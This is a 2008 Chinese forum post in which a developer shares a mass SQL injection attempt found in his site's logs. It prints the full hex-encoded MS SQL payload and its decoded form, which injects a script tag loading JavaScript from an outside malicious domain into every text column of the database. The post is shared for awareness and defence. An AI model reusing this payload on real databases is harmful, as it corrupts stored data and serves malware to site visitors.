作者TonyQ (沉默是金)
看板Database
标题[SQL ] sql injection
时间Sat Oct 18 03:57:22 2008
最近站上log纪录到无差别sqj inection 攻击 ,
还好我们底层采用的是hibernate , 有作型别的过滤.
不过还是提出来和各位版友分享一下...:p
我们站上有个页面的link是长得像这样
spec_item.action?sid=123231300010162050
我们收到的log , 则是有人试图用底下这样的sid parameter 来闯关而被拦下来.
这其中夹杂一段预储程序 , 他非常的长,
原始log是没断行,为了展示方便才断行的.
"211371000010162267';DECLARE @S CHAR(4000);SET @S=
CAST(0x4445434C4152452040542076617263686172283235352
92C40432076617263686172283430303029204445434C415245205461626
C655F437572736F7220435552534F5220464F522073656C65637420612E6
E616D652C622E6E616D652066726F6D207379736F626A6563747320612C7
37973636F6C756D6E73206220776865726520612E69643D622E696420616
E6420612E78747970653D27752720616E642028622E78747970653D39392
06F7220622E78747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E205461626C655F4375727
36F72204645544348204E4558542046524F4D20205461626C655F4375727
36F7220494E544F2040542C4043205748494C4528404046455443485F535
4415455533D302920424547494E20657865632827757064617465205B272
B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C6
53E3C736372697074207372633D22687474703A2F2F777777322E7338303
0716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212
D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F742
06C696B6520272725223E3C2F7469746C653E3C736372697074207372633
D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F7
72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4
558542046524F4D20205461626C655F437572736F7220494E544F2040542
C404320454E4420434C4F5345205461626C655F437572736F72204445414
C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));
EXEC(@S);"
他将程式码encode , 然後再透过 cast decode , 最後透过exec执行.
这是针对 ms sql 来的攻击方案 , 我用ms sql decode这段code的
原始字串(当然不会傻到去执行他啦)
出来是长这样(其中h ttp:// 为了避免有人误点 , 删掉// .)
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=''"></title>
<script src="http:www2.s800qn.cn/csrss/w.js"></script>
<!--''+['+@C+'] where '+@C+' not like ''%"></title>
<script src="http:www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
也就是塞一段script进你的资料库里面...
有兴趣的人可以google www2.s800qn.cn/csrss/w.js 看有多少站被hack.
这是弟coding经验中 , 难得看到的实务攻击 , 所以提出来聊作为分享.
--
What do you want to have ? / What do you have?
从书本中,你可以发现我的各种兴趣。
从CD中,你可以了解我所喜欢的偶像明星。
或许从文字你很难以了解一个人,但从物品可以。
My PPolis , My past. http://ppolis.tw/user/Tony
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 221.169.78.140
1F:推 qrtt1:应该是 webwork 栏位转换截住的 10/18 09:53